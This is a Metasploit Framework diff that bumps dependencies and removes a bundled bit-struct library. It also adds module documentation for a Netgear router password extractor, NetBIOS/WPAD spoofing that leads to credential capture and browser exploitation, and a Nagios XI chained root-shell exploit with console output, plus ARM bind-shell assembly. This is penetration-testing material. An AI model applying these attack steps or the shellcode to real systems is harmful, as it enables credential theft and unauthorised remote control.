diff --git a/.mailmap b/.mailmap index ee36f3db32..9ae4955497 100644 --- a/.mailmap +++ b/.mailmap @@ -1,8 +1,11 @@ acammack-r7 Adam Cammack bcook-r7 bcook-r7 Brent Cook -bturner-r7 Brandon Turner bpatterson-r7 Brian Patterson +bpatterson-r7 bpatterson-r7 +bturner-r7 Brandon Turner +bwatters-r7 Brendan +bwatters-r7 Brendan Watters cdoughty-r7 Chris Doughty dheiland-r7 Deral Heiland dmaloney-r7 David Maloney @@ -16,30 +19,40 @@ ecarey-r7 Erran Carey farias-r7 Fernando Arias gmikeska-r7 Greg Mikeska gmikeska-r7 Gregory Mikeska +jbarnett-r7 James Barnett jhart-r7 Jon Hart jlee-r7 # aka egypt jlee-r7 kgray-r7 Kyle Gray +khayes-r7 l0gan lsanchez-r7 Lance Sanchez lsanchez-r7 Lance Sanchez lsanchez-r7 Lance Sanchez lsanchez-r7 Lance Sanchez lsanchez-r7 darkbushido lsato-r7 Louis Sato +pbarry-r7 Pearce Barry pdeardorff-r7 Paul Deardorff pdeardorff-r7 pdeardorff-r7 +sdavis-r7 Scott Davis +sdavis-r7 Scott Lee Davis +sdavis-r7 Scott Lee Davis +sgonzalez-r7 Sonny Gonzalez sgonzalez-r7 Sonny Gonzalez shuckins-r7 Samuel Huckins +tdoan-r7 tdoan-r7 +tdoan-r7 thao doan todb-r7 Tod Beardsley todb-r7 Tod Beardsley todb-r7 Tod Beardsley wchen-r7 # aka sinn3r wchen-r7 wvu-r7 William Vu -wvu-r7 William Vu wvu-r7 William Vu +wvu-r7 William Vu wvu-r7 wvu-r7 wwebb-r7 William Webb +wwebb-r7 wwebb-r7 # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -151,10 +164,11 @@ void-in void_in void-in Waqas Ali zeroSteiner Spencer McIntyre - # Aliases for utility author names. Since they're fake, typos abound -Tab Assassin Tabassassin +Metasploit Bot Metasploit +Jenkins Bot Jenkins Tab Assassin TabAssassin +Tab Assassin Tabassassin Tab Assassin Tabasssassin Tab Assassin URI Assassin diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b27245c6f4..d92ab988a6 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -45,6 +45,7 @@ and Metasploit's [Common Coding Mistakes]. * **Do** specify a descriptive title to make searching for your pull request easier. * **Do** include [console output], especially for witnessable effects in `msfconsole`. * **Do** list [verification steps] so your code is testable. +* **Do** [reference associated issues] in your pull request description * **Don't** leave your pull request description blank. * **Don't** abandon your pull request. Being responsive helps us land your code faster. @@ -106,6 +107,7 @@ already way ahead of the curve, so keep it up! [topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches [console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks [verification steps]:https://help.github.com/articles/writing-on-github#task-lists +[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests [PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940 [PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043 [pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb diff --git a/Gemfile.lock b/Gemfile.lock index 2bdb52f044..04b61fc948 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,11 +1,12 @@ PATH remote: . specs: - metasploit-framework (4.12.10) + metasploit-framework (4.12.11) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) bcrypt + bit-struct filesize jsobfu json @@ -13,10 +14,9 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.1.11) + metasploit-payloads (= 1.1.12) metasploit_data_models msgpack - net-ssh network_interface nokogiri octokit @@ -39,6 +39,7 @@ PATH rubyntlm rubyzip sqlite3 + sshkey tzinfo tzinfo-data @@ -83,6 +84,7 @@ GEM rspec-expectations (>= 2.99) thor (~> 0.19) bcrypt (3.1.11) + bit-struct (0.15.0) builder (3.2.2) capybara (2.7.1) addressable @@ -149,7 +151,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.1.11) + metasploit-payloads (1.1.12) metasploit_data_models (2.0.0) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -164,16 +166,16 @@ GEM mime-types (3.0) mime-types-data (~> 3.2015) mime-types-data (3.2016.0221) - mini_portile2 (2.0.0) + mini_portile2 (2.1.0) minitest (5.8.4) msgpack (0.7.6) multi_json (1.12.0) multi_test (0.1.2) multipart-post (2.0.0) - net-ssh (3.2.0) network_interface (0.0.1) - nokogiri (1.6.7.2) - mini_portile2 (~> 2.0.0.rc2) + nokogiri (1.6.8) + mini_portile2 (~> 2.1.0) + pkg-config (~> 1.1.7) octokit (4.3.0) sawyer (~> 0.7.0, >= 0.5.3) openssl-ccm (1.2.1) @@ -184,6 +186,7 @@ GEM pcaprub (0.12.4) pg (0.18.4) pg_array_parser (0.0.9) + pkg-config (1.1.7) postgres_ext (3.0.0) activerecord (>= 4.0.0) arel (>= 4.0.1) @@ -256,6 +259,7 @@ GEM simplecov-html (0.10.0) slop (3.6.0) sqlite3 (1.3.11) + sshkey (1.8.0) thor (0.19.1) thread_safe (0.3.5) timecop (0.8.1) diff --git a/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md new file mode 100644 index 0000000000..17d4de1c3f --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md @@ -0,0 +1,49 @@ +## Vulnerable Application + +The following list is a non-exhaustive list of vulnerable Netgear devices: +1. R6300v2 - V1.0.3.8 +2. WNDR3300 - V1.0.45 +3. WNDR3700v1 - V1.0.7.98 +4. WNDR3700v1 - V1.0.16.98 +5. WNDR3700v2 - V1.0.1.14 +6. WNDR3700v4 - V1.0.1.42 +7. WNDR3700v4 - V1.0.0.4SH +8. WNDR3700v4 - V1.0.1.52 +9. WNDR3800 - V1.0.0.48 +10. WNDR4300 - V1.0.1.60 +11. WNR1000v2 - V1.0.1.1 +12. WNR1000v2 - V1.1.2.58 +13. WNR2000v3 - v1.1.2.10 +14. WNR2200 - V1.0.1.88 +15. WNR2500 - V1.0.0.24 + +## Verification Steps + + 1. Start msfconsole + 2. Do: ```use auxiliary/admin/http/netgear_soap_password_extractor``` + 3. Do: ```set rhost ``` + 4. Do: ```run``` + 5. You should get admin info on the device + +## Scenarios + + Example run against wnr2000v3 with firmware 1.1.2.10: + +``` +msf > use auxiliary/admin/http/netgear_soap_password_extractor +msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf auxiliary(netgear_soap_password_extractor) > run + +[*] Trying to access the configuration of the device +[*] Extracting Firmware version... +[+] Model wnr2000v3 found +[+] Firmware version V1.1.2.10 found +[+] Device details downloaded to: /root/.msf4/loot/20160701181449_default_192.168.1.1_netgear_soap_dev_668524.txt +[*] Extracting credentials... +[*] Credentials found, extracting... +[+] admin / password credentials found +[+] Account details downloaded to: /root/.msf4/loot/20160701181449_default_192.168.1.1_netgear_soap_acc_252579.txt +[*] Auxiliary module execution completed + +``` diff --git a/documentation/modules/auxiliary/admin/netbios/netbios_spoof.md b/documentation/modules/auxiliary/admin/netbios/netbios_spoof.md new file mode 100644 index 0000000000..1d05333e0b --- /dev/null +++ b/documentation/modules/auxiliary/admin/netbios/netbios_spoof.md @@ -0,0 +1,122 @@ +netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the +target to cache a malicious address for this name. By default, the module will attempt to poison +WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal +sensitive information, or obtain arbitrary code execution. + +## Vulnerable Application + +Windows is the most ideal target because it supports WPAD by default. + +## Options + +**NBADDR** + +The address that the NetBIOS name (NBNAME) should resolve to. + +**NBNAME** + +The NetBIOS name to spoof a reply for. + +**PPSRATE** + +The rate at which to send NetBIOS replies. + +## Scenarios + +**Credential Collection Attack Using Targeted NetBIOS Spoofing:** + +The following example uses http_basic, but other modules (such as http_ntlm) also applies. + +Step 1: Start the first Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/server/capture/http_basic``` +3. ```set REALM google.com``` +4. ```set URIPATH /``` +5. ```run``` + +Step 2: Start the second Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/admin/netbios/netbios_spoof``` +3. ```set NBADDR [IP to fake HTTP auth server]``` +4. ```set PPSRATE 30000``` +5. ```set RHOST [Target Host]``` +6. ```run``` + +Step 3: On the victim machine: + +1. Make sure IE automatically detects settings (under LAN settings) +2. Start IE, as soon as it opens, IE should try to authenticate. + +If the spoofed name has already been cached, you can do this to flush. And then next time IE will +be asked for credentials again. + +``` +ipconfig /flushdns +``` + +**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:** + +The following example will spoof WPAD and causes google.com to redirect to an exploit server. + +Step 1: Start the first Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/server/browser_autopwn2``` +3. ```set SRVPORT 8181``` +4. ```run``` + +Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file. + +Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file: + +First, uncomment these settings if they are found in the file: + +* http_access deny all +* http_access deny !Safe_ports +* http_access deny CONNECT !SSL_ports +* http_access deny to_localhost +* http_access deny all +* always_direct deny all + +Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn +URL field: + +``` +acl MyNetwork src 192.168.1.0/24 +acl BLKSite dstdomain .google.com +deny_info [BrowserAutoPwn URL] all +http_reply_access deny BLKSite all +http_access allow MyNetwork +``` + +Step 3: Start the second Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/server/wpad``` +3. ```set PROXY [Proxy IP]``` +4. ```set PROXYPORT 8080``` +5. ```run``` + +Step 4: Start the third Metasploit instance: + +1. ```rvmsudo ./msfconsole -q``` +2. ```use auxiliary/admin/netbios/netbios_spoof``` +3. ```set NBADDR [IP to fake HTTP server]``` +4. ```set PPSRATE 30000``` +5. ```set RHOST [Target Host]``` +6. ```run``` + +Step 5: On the victim machine: + +1. Make sure IE automatically detects settings (under LAN settings) +2. Start IE +3. Go to google.com, IE should end up loading the exploit server. + +If the spoofed name has already been cached, you can do this to flush. + +``` +ipconfig /flushdns +``` + diff --git a/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md b/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md new file mode 100644 index 0000000000..18bc3fcc02 --- /dev/null +++ b/documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md @@ -0,0 +1,73 @@ +## Intro + +Nagios XI is the enterprise version of Nagios, the monitoring software we love +and hate. + +> This module exploits an SQL injection, auth bypass, file upload, command +injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell. + +## Setup + +**Download the virtual appliance:** + +I used the 64-bit OVA [here]. Remove the "-64" in the link to download the +32-bit OVA. + +[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova + +**Import the OVA:** + +Just import it into VMware or VirtualBox. It should create a VM for you. + +**Configure the software:** + +When you start the VM, you will see ```Access Nagios XI at http://[redacted]``` +on the login screen. Connect to the URL using your web browser and follow the +steps on the screen to configure the app. + +Configuration is actually not required to exploit the app, but you should do it +anyway. + +## Usage + +Just set ```RHOST``` and fire off the module! It's pretty much painless. +```set VERBOSE true``` if you want to see details. + +``` +msf > use exploit/linux/http/nagios_xi_chained_rce +msf exploit(nagios_xi_chained_rce) > set rhost [redacted] +rhost => [redacted] +msf exploit(nagios_xi_chained_rce) > set verbose true +verbose => true +msf exploit(nagios_xi_chained_rce) > run + +[*] Started reverse TCP handler on [redacted]:4444 +[*] Nagios XI version: 5.2.7 +[*] Getting API token +[+] API token: 3o2erpm0 +[*] Getting admin cookie +[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7; +[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911 +[*] Getting monitored host +[+] Monitored host: localhost +[*] Downloading component +[*] Uploading root shell +[*] Popping shell! +[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500 +[*] Cleaning up... +[*] rm -rf ../profile +[*] unzip -qd .. ../../../../tmp/component-profile.zip +[*] chown -R nagios:nagios ../profile +[*] rm -f ../../../../tmp/component-xAmhUGRn.zip + +3904334783 +TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI +cKKdfdZxRpDduZCezKXOficrVyNeVggH +mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF +dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE +wjCWBTgbsQuPemhiByeMpMEhdPooHEvw +id +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) +uname -a +Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md index 20a3f4540b..0c429d9310 100755 --- a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md +++ b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md @@ -33,6 +33,7 @@ This attack injects a payload into javascript by terminating a URL path string. ``` use exploit/multi/fileformat/swagger_param_inject +set TARGET 0 set PAYLOAD nodejs/shell_reverse_tcp set INFO_VERSION "1.0.0" set SWAGGER_HOST "localhost" @@ -47,6 +48,7 @@ This attack injects a payload into PHP multiline comment area. ``` use exploit/multi/fileformat/swagger_param_inject +set TARGET 1 set PAYLOAD php/meterpreter/reverse_tcp set SWAGGER_HOST "localhost" run @@ -60,6 +62,7 @@ This attack injects a payload into ruby multiline comment area. ``` use exploit/multi/fileformat/swagger_param_inject +set TARGET 3 set PAYLOAD ruby/shell_reverse_tcp set SWAGGER_HOST "localhost" run @@ -73,6 +76,7 @@ This attack injects a payload into Java by terminating a URL path string. ``` use exploit/multi/fileformat/swagger_param_inject +set TARGET 2 set PAYLOAD java/jsp_shell_reverse_tcp set SWAGGER_HOST "localhost" run diff --git a/external/source/shellcode/linux/armbe/single_sock_bind.s b/external/source/shellcode/linux/armbe/single_sock_bind.s new file mode 100644 index 0000000000..dfcce490dc --- /dev/null +++ b/external/source/shellcode/linux/armbe/single_sock_bind.s @@ -0,0 +1,117 @@ +@@ +@ +@ Name: single_sock_bind +@ Qualities: - +@ Authors: Balazs Bucsay <@xoreipeip> +@ License: MSF_LICENSE +@ Description: +@ +@ Implementation of a Linux bind TCP shellcode for ARM BE architecture. +@ +@ Assemble with: +@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o +@ Link with: +@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode +@ +@ Meta-Information: +@ +@ meta-shortname=Linux Bind TCP +@ meta-description=Listen on a port for a connection and run a second stage +@ meta-authors=earthquake +@ meta-os=linux +@ meta-arch=armbe +@ meta-category=singles +@ meta-connection-type=bind +@ meta-name=bind_tcp +@@ + + +.section .text + .global _start + + _start: + .code 32 + +@ Thumb-Mode on + add r6, pc, #1 + bx r6 + .code 16 + +@ _socket(2,1,0) + sub r2, r2, r2 + add r1, r2, #1 + add r0, r2, #2 + lsl r7, r1, #8 + add r7, r7, #0x19 + svc 1 + mov r6, r0 + +@ 1 uint8_t sin_len +@ 1 sa_family_t sin_family +@ 2 in_port_t sin_port +@ 4 struct in_addr sin_addr +@ 8 char sin_zero [8] +@ 00 02 5C11 00000000 00000000 00000000 +@ 5c11 => 4444 +@ _bind() + mov r2, #2 + lsl r2, r2, #8 + add r2, r2, #0x11 + lsl r2, r2, #8 + add r2, r2, #0x5C + sub r3, r3, r3 + sub r4, r4, r4 + sub r5, r5, r5 + mov r1, sp + stm r1!, {r2-r5} + sub r1, #0x10 + mov r2, #16 + add r7, r7, #1 + svc 1 + +@ _listen() + mov r0, r6 + sub r1, r1, r1 + add r7, r7, #2 + svc 1 + +@ _accept() + mov r0, r6 + sub r2, r2, r2 + add r7, r7, #1 + svc 1 + mov r6, r0 + +@ _dup2() + sub r1, r1, r1 + mov r7, #63 + svc 1 + + mov r0, r6 + add r1, r1, #1 + svc 1 + + mov r0, r6 + add r1, r1, #1 + svc 1 + + _execve() + sub r2, r2, r2 + mov r0, pc + add r0, #18 +@ next intstruction terminates the string beneath the code "//bin/sh" +@ in case you want to say goodbye to the null character +@ str r2, [r0, #8] + str r2, [sp, #8] + str r0, [sp, #4] + add r1, sp, #4 + mov r7, #11 + svc 1 + +@ _exit() + sub r4, r4, r4 + mov r0, r4 + mov r7, #1 + svc 1 +.ascii "//bin/sh\0" +@.ascii "//bin/sh" diff --git a/lib/bit-struct.rb b/lib/bit-struct.rb deleted file mode 100644 index 0ff621ce07..0000000000 --- a/lib/bit-struct.rb +++ /dev/null @@ -1,15 +0,0 @@ -# -*- coding: binary -*- -# A Convenience to load all field classes and yaml handling. -# XXX: Pretty certian this monkeypatch isn't required in Metasploit. - -if "a"[0].kind_of? Fixnum - unless Fixnum.methods.include? :ord - class Fixnum - def ord; self; end - end - end -end - -require 'bit-struct/bit-struct' -require 'bit-struct/fields' -require 'bit-struct/yaml' diff --git a/lib/bit-struct/README b/lib/bit-struct/README deleted file mode 100644 index 8ef60f8c22..0000000000 --- a/lib/bit-struct/README +++ /dev/null @@ -1,187 +0,0 @@ -= BitStruct - -Class for packed binary data stored in ruby Strings. BitStruct accessors, generated from user declared fields, use pack/unpack to treat substrings as fields with a specified portable format. - -Field types include: - -* signed and unsigned integer (1..16 bits, or 24, 32, 40, 48... bits) - -* numeric fields (signed, unsigned, float) can be designated as any of the following endians: little, big, native, network (default) - -* fixed point, with arbitrary scale factor - -* fixed length character array - -* null-terminated character array for printable text - -* octets (hex and decimal representation options; useful for IP and MAC addrs) - -* float - -* nested BitStruct - -* vectors of embedded BitStructs - -* free-form "rest" field (e.g., for the variable-size payload of a packet) - -Field options (specifiable as :foo => val or "foo" => val) include: - -* *display_name*: used in BitStruct#inspect_detailed and BitStruct#describe outputs. - -* *default*: default field value - -* *format*: alternate format string for inspect - -* *endian*: for byte ordering of numeric fields (unsigned, signed, float): little, big, native, network (default) - -* *fixed*: float stored as fixed-point integer, with specified scale factor - - -== Installation - -For .gem: - - gem install bit-struct - -For .tgz, unpack and then: - - ruby install.rb config - ruby install.rb setup - ruby install.rb install - -== Uses - -BitStruct is useful for defining packets used in network protocols. This is especially useful for raw IP--see examples/ping-recv.rb. All multibyte numeric fields are stored by default in network order. - -BitStruct is most efficient when your data is primarily treated as a binary string, and only secondarily treated as a data structure. (For instance, you are routing packets from one socket to another, possibly looking at one or two fields as it passes through or munging some headers.) If accessor operations are a bottleneck, a better approach is to define a class that wraps an array and uses pack/unpack when the object needs to behave like a binary string. - -== Features - -* Extensible with user-defined field classes. - -* Fields are fully introspectable and can be defined programmatically. - -* BitStruct.describe prints out documentation of all the fields of a BitStruct subclass, based on declarations. This is useful for communicating with developers who are not using ruby, but need to talk the same protocols. See Example, below. - -* Fields are inherited by subclasses. (The free-form "rest" field does not inherit, because it usually represents a payload whose structure is defined in subclasses using the fixed-size fields.) - -* BitStruct#inspect and BitStruct#inspect_detailed can be used for prettified display of contents. (More generally, BitStruct#inspect takes some options that control formatting and detail level.) See Example, below. - -* BitStruct inherits from String, so all the usual methods are available, and string-sharing (copy-on-write) is in effect. - -* Easy access to a "prototype" instance of each BitStruct subclass, from which all instances of that subclass are initialized as a copy (in the absence of other initialization parameters, such as a hash, a string, or a block). See BitStruct.initial_value, and BitStruct#initialize. See Example, below. - -* Easy conversion to and from hashes, using BitStruct#to_h and BitStruct.new. - -* BitStructs can persist using Marshal (a BitStruct is after all just a string) or using YAML (with human readable representation of the fields). - -* Includes tests, examples, and rdoc API documentation. - -== Limitations - -* Fields that are not aligned on byte boundaries may cross no more than two bytes boundaries. (See examples/byte-bdy.rb.) - -* No variable length fields (except the #rest field). - -== Future plans - -* Currently, the library is written in pure ruby. The implementation uses Array#pack and String#unpack calls, as well as shifting and masking in pure ruby. Future versions will optionally generate a customized C extension for better efficiency. - -* A debug mode in which a class identifier is prepended to every BitStruct, so that protocol errors can be detected. (This feature has been implemented in an app that uses BitStruct, but needs to be refactored into the BitStruct library itself.) - -* Remove field size and alignment limitations. - -== Example - -An IP packet can be defined and used like this: - - require 'bit-struct' - - class IP < BitStruct - unsigned :ip_v, 4, "Version" - unsigned :ip_hl, 4, "Header length" - unsigned :ip_tos, 8, "TOS" - unsigned :ip_len, 16, "Length" - unsigned :ip_id, 16, "ID" - unsigned :ip_off, 16, "Frag offset" - unsigned :ip_ttl, 8, "TTL" - unsigned :ip_p, 8, "Protocol" - unsigned :ip_sum, 16, "Checksum" - octets :ip_src, 32, "Source addr" - octets :ip_dst, 32, "Dest addr" - rest :body, "Body of message" - - note " rest is application defined message body" - - initial_value.ip_v = 4 - initial_value.ip_hl = 5 - end - - ip = IP.new - ip.ip_tos = 0 - ip.ip_len = 0 - ip.ip_id = 0 - ip.ip_off = 0 - ip.ip_ttl = 255 - ip.ip_p = 255 - ip.ip_sum = 0 - ip.ip_src = "192.168.1.4" - ip.ip_dst = "192.168.1.255" - ip.body = "This is the payload text." - ip.ip_len = ip.length - - puts ip.inspect - puts "-"*50 - puts ip.inspect_detailed - puts "-"*50 - puts IP.describe - -(Note that you can also construct an IP packet by passing a string to new, or by passing a hash of field,value pairs, or by providing a block that is yielded the new BitStruct.) - -The output of this fragment is: - - # - -------------------------------------------------- - IP: - Version = 4 - Header length = 5 - TOS = 0 - Length = 45 - ID = 0 - Frag offset = 0 - TTL = 255 - Protocol = 255 - Checksum = 0 - Source addr = "192.168.1.4" - Dest addr = "192.168.1.255" - Body of message = "This is the payload text." - -------------------------------------------------- - - Description of IP Packet: - byte: type name [size] description - ---------------------------------------------------------------------- - @0: unsigned ip_v [ 4b] Version - @0: unsigned ip_hl [ 4b] Header length - @1: unsigned ip_tos [ 8b] TOS - @2: unsigned ip_len [ 16b] Length - @4: unsigned ip_id [ 16b] ID - @6: unsigned ip_off [ 16b] Frag offset - @8: unsigned ip_ttl [ 8b] TTL - @9: unsigned ip_p [ 8b] Protocol - @10: unsigned ip_sum [ 16b] Checksum - @12: octets ip_src [ 32b] Source addr - @16: octets ip_dst [ 32b] Dest addr - rest is application defined message body - -== Web site - -The current version of this software can be found at http://redshift.sourceforge.net/bit-struct. - -== License - -This software is distributed under the Ruby license. See http://www.ruby-lang.org. - -== Author - -Joel VanderWerf, mailto:vjoel@users.sourceforge.net -Copyright (c) 2005-2009, Joel VanderWerf. diff --git a/lib/bit-struct/bit-struct.rb b/lib/bit-struct/bit-struct.rb deleted file mode 100644 index a96863a5d4..0000000000 --- a/lib/bit-struct/bit-struct.rb +++ /dev/null @@ -1,575 +0,0 @@ -# -*- coding: binary -*- -# Class for packed binary data, with defined bitfields and accessors for them. -# See {intro.txt}[link:../doc/files/intro_txt.html] for an overview. -# -# Data after the end of the defined fields is accessible using the +rest+ -# declaration. See examples/ip.rb. Nested fields can be declared using +nest+. -# See examples/nest.rb. -# -# Note that all string methods are still available: length, grep, etc. -# The String#replace method is useful. -# -class BitStruct < String - VERSION = "0.13.6" - - class Field - # Offset of field in bits. - attr_reader :offset - - # Length of field in bits. - attr_reader :length - alias size length - - # Name of field (used for its accessors). - attr_reader :name - - # Options, such as :default (varies for each field subclass). - # In general, options can be provided as strings or as symbols. - attr_reader :options - - # Display name of field (used for printing). - attr_reader :display_name - - # Default value. - attr_reader :default - - # Format for printed value of field. - attr_reader :format - - # Subclasses can override this to define a default for all fields of this - # class, not just the one currently being added to a BitStruct class, a - # "default default" if you will. The global default, if #default returns - # nil, is to fill the field with zero. Most field classes just let this - # default stand. The default can be overridden per-field when a BitStruct - # class is defined. - def self.default; nil; end - - # Used in describe. - def self.class_name - @class_name ||= name[/\w+$/] - end - - # Used in describe. Can be overridden per-subclass, as in NestedField. - def class_name - self.class.class_name - end - - # Yield the description of this field, as an array of 5 strings: byte - # offset, type, name, size, and description. The opts hash may have: - # - # :expand :: if the value is true, expand complex fields - # - # (Subclass implementations may yield more than once for complex fields.) - # - def describe opts - bits = size - if bits > 32 and bits % 8 == 0 - len_str = "%dB" % (bits/8) - else - len_str = "%db" % bits - end - - byte_offset = offset / 8 + (opts[:byte_offset] || 0) - - yield ["@%d" % byte_offset, class_name, name, len_str, display_name] - end - - # Options are _display_name_, _default_, and _format_ (subclasses of Field - # may add other options). - def initialize(offset, length, name, opts = {}) - @offset, @length, @name, @options = - offset, length, name, opts - - @display_name = opts[:display_name] || opts["display_name"] - @default = opts[:default] || opts["default"] || self.class.default - @format = opts[:format] || opts["format"] - end - - # Inspect the value of this field in the specified _obj_. - def inspect_in_object(obj, opts) - val = obj.send(name) - str = - begin - val.inspect(opts) - rescue ArgumentError # assume: "wrong number of arguments (1 for 0)" - val.inspect - end - (f=@format) ? (f % str) : str - end - - # Normally, all fields show up in inspect, but some, such as padding, - # should not. - def inspectable?; true; end - end - - NULL_FIELD = Field.new(0, 0, :null, :display_name => "null field") - - # Raised when a field is added after an instance has been created. Fields - # cannot be added after this point. - class ClosedClassError < StandardError; end - - # Raised if the chosen field name is not allowed, either because another - # field by that name exists, or because a method by that name exists. - class FieldNameError < StandardError; end - - @default_options = {} - - @initial_value = nil - @closed = nil - @rest_field = nil - @note = nil - - class << self - def inherited cl - cl.instance_eval do - @initial_value = nil - @closed = nil - @rest_field = nil - @note = nil - end - end - - # ------------------------ - # :section: field access methods - # - # For introspection and metaprogramming. - # - # ------------------------ - - # Return the list of fields for this class. - def fields - @fields ||= self == BitStruct ? [] : superclass.fields.dup - end - - # Return the list of fields defined by this class, not inherited - # from the superclass. - def own_fields - @own_fields ||= [] - end - - # Add a field to the BitStruct (usually, this is only used internally). - def add_field(name, length, opts = {}) - round_byte_length ## just to make sure this has been calculated - ## before adding anything - - name = name.to_sym - - if @closed - raise ClosedClassError, "Cannot add field #{name}: " + - "The definition of the #{self.inspect} BitStruct class is closed." - end - - if fields.find {|f|f.name == name} - raise FieldNameError, "Field #{name} is already defined as a field." - end - - if instance_methods(true).find {|m| m == name} - if opts[:allow_method_conflict] || opts["allow_method_conflict"] - warn "Field #{name} is already defined as a method." - else - raise FieldNameError,"Field #{name} is already defined as a method." - end - end - - field_class = opts[:field_class] - - prev = fields[-1] || NULL_FIELD - offset = prev.offset + prev.length - field = field_class.new(offset, length, name, opts) - field.add_accessors_to(self) - fields << field - own_fields << field - @bit_length += field.length - @round_byte_length = (bit_length/8.0).ceil - - if @initial_value - diff = @round_byte_length - @initial_value.length - if diff > 0 - @initial_value << "\0" * diff - end - end - - field - end - - def parse_options(ary, default_name, default_field_class) # :nodoc: - opts = ary.grep(Hash).first || {} - opts = default_options.merge(opts) - - opts[:display_name] = ary.grep(String).first || default_name - opts[:field_class] = ary.grep(Class).first || default_field_class - - opts - end - - # Get or set the hash of default options for the class, which apply to all - # fields. Changes take effect immediately, so can be used alternatingly with - # blocks of field declarations. If +h+ is provided, update the default - # options with that hash. Default options are inherited. - # - # This is especially useful with the :endian => val option. - def default_options h = nil - @default_options ||= superclass.default_options.dup - if h - @default_options.merge! h - end - @default_options - end - - # Length, in bits, of this object. - def bit_length - @bit_length ||= fields.inject(0) {|a, f| a + f.length} - end - - # Length, in bytes (rounded up), of this object. - def round_byte_length - @round_byte_length ||= (bit_length/8.0).ceil - end - - def closed! # :nodoc: - @closed = true - end - - def field_by_name name - @field_by_name ||= {} - field = @field_by_name[name] - unless field - field = fields.find {|f| f.name == name} - @field_by_name[name] = field if field - end - field - end - end - - # Return the list of fields for this class. - def fields - self.class.fields - end - - # Return the rest field for this class. - def rest_field - self.class.rest_field - end - - # Return the field with the given name. - def field_by_name name - self.class.field_by_name name - end - - # ------------------------ - # :section: metadata inspection methods - # - # Methods to textually describe the format of a BitStruct subclass. - # - # ------------------------ - - class << self - # Default format for describe. Fields are byte, type, name, size, - # and description. - DESCRIBE_FORMAT = "%8s: %-12s %-14s[%4s] %s" - - # Can be overridden to use a different format. - def describe_format - DESCRIBE_FORMAT - end - - # Textually describe the fields of this class of BitStructs. - # Returns a printable table (array of line strings), based on +fmt+, - # which defaults to #describe_format, which defaults to +DESCRIBE_FORMAT+. - def describe(fmt = nil, opts = {}) - if fmt.kind_of? Hash - opts = fmt; fmt = nil - end - - if block_given? - fields.each do |field| - field.describe(opts) do |desc| - yield desc - end - end - nil - - else - fmt ||= describe_format - - result = [] - - unless opts[:omit_header] - result << fmt % ["byte", "type", "name", "size", "description"] - result << "-"*70 - end - - fields.each do |field| - field.describe(opts) do |desc| - result << fmt % desc - end - end - - unless opts[:omit_footer] - result << @note if @note - end - - result - end - end - - # Subclasses can use this to append a string (or several) to the #describe - # output. Notes are not cumulative with inheritance. When used with no - # arguments simply returns the note string - def note(*str) - @note = str unless str.empty? - @note - end - end - - # ------------------------ - # :section: initialization and conversion methods - # - # ------------------------ - - # Initialize the string with the given string or bitstruct, or with a hash of - # field=>value pairs, or with the defaults for the BitStruct subclass, or - # with an IO or other object with a #read method. Fields can be strings or - # symbols. Finally, if a block is given, yield the instance for modification - # using accessors. - def initialize(value = nil) # :yields: instance - self << self.class.initial_value - - case value - when Hash - value.each do |k, v| - send "#{k}=", v - end - - when nil - - else - if value.respond_to?(:read) - value = value.read(self.class.round_byte_length) - end - - self[0, value.length] = value - end - - self.class.closed! - yield self if block_given? - end - - 